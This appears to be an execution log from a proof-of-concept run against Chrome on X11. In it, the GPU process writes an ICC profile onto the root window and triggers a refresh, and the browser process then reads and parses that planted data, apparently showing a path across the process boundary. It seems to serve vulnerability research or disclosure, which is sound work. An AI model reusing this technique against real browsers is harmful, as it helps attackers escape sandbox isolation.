dbus[1953]: Unable to set up transient service directory: XDG_RUNTIME_DIR "/run/user/104146510" not available: No such file or directory [runner] dbus pid=1955 addr=unix:path=/tmp/dbus-XmRdku01aP,guid=1149cd6d84b095ced7879a4d6a08632b [runner] Xvfb pid=1957 DISPLAY=:99 [runner] total 8 [runner] drwxrwxrwt 2 pocuser pocuser 4096 May 16 12:29 . [runner] drwxrwxrwt 1 root root 4096 May 16 12:29 .. [runner] srwxrwxrwx 1 pocuser pocuser 0 May 16 12:29 X99 [runner] launching Chrome (browser+GPU are separate processes; --no-sandbox [runner] is required because this container's own seccomp policy blocks the [runner] namespace-sandbox setup; the GPU process is still out-of-process) [runner] ----------- CHROME OUTPUT BEGIN ----------- [2000:2000:0516/122936.376983:ERROR:content/gpu/gpu_main.cc:244] [POC][GPU pid=2000] post-sandbox X11 attack starting; seccomp_bpf_started=0 sandbox_status=0x0 [2000:2000:0516/122936.377204:ERROR:content/gpu/gpu_main.cc:266] [POC][GPU pid=2000] writing 512-byte _ICC_PROFILE (marker=GPU!) on root window 0x50d [2000:2000:0516/122936.377431:ERROR:content/gpu/gpu_main.cc:277] [POC][GPU pid=2000] writing _NET_WORKAREA to trigger browser-process refresh [2000:2000:0516/122936.377586:ERROR:content/gpu/gpu_main.cc:283] [POC][GPU pid=2000] X11 ChangeProperty calls completed (post seccomp) [1968:1968:0516/122936.377675:ERROR:ui/base/x/x11_display_manager.cc:79] [POC][BROWSER pid=1968] XDisplayManager::OnEvent: PropertyNotify(_NET_WORKAREA) -> DispatchDelayedDisplayListUpdate [1968:1968:0516/122936.378226:ERROR:ui/base/x/x11_display_util.cc:110] [POC][BROWSER pid=1968] GetIccProfileSync: 512 bytes, head=47505521A4A5A6A7 <<< GPU-PLANTED ICC RECEIVED >>> [1968:1968:0516/122936.378258:ERROR:ui/gfx/icc_profile.cc:67] [POC][BROWSER pid=1968] ICCProfile::Initialize: feeding 512 bytes into SkCodecs::ICCProfileChromium::Make (moxcms/skcms parser) <<< GPU-PLANTED ICC PARSED >>> [runner] ----------- CHROME OUTPUT END ----------- [runner] ===== POC SUMMARY ===== [2000:2000:0516/122936.376983:ERROR:content/gpu/gpu_main.cc:244] [POC][GPU pid=2000] post-sandbox X11 attack starting; seccomp_bpf_started=0 sandbox_status=0x0 [2000:2000:0516/122936.377204:ERROR:content/gpu/gpu_main.cc:266] [POC][GPU pid=2000] writing 512-byte _ICC_PROFILE (marker=GPU!) on root window 0x50d [2000:2000:0516/122936.377431:ERROR:content/gpu/gpu_main.cc:277] [POC][GPU pid=2000] writing _NET_WORKAREA to trigger browser-process refresh [2000:2000:0516/122936.377586:ERROR:content/gpu/gpu_main.cc:283] [POC][GPU pid=2000] X11 ChangeProperty calls completed (post seccomp) [1968:1968:0516/122936.377675:ERROR:ui/base/x/x11_display_manager.cc:79] [POC][BROWSER pid=1968] XDisplayManager::OnEvent: PropertyNotify(_NET_WORKAREA) -> DispatchDelayedDisplayListUpdate [1968:1968:0516/122936.378226:ERROR:ui/base/x/x11_display_util.cc:110] [POC][BROWSER pid=1968] GetIccProfileSync: 512 bytes, head=47505521A4A5A6A7 <<< GPU-PLANTED ICC RECEIVED >>> [1968:1968:0516/122936.378258:ERROR:ui/gfx/icc_profile.cc:67] [POC][BROWSER pid=1968] ICCProfile::Initialize: feeding 512 bytes into SkCodecs::ICCProfileChromium::Make (moxcms/skcms parser) <<< GPU-PLANTED ICC PARSED >>> [runner] =======================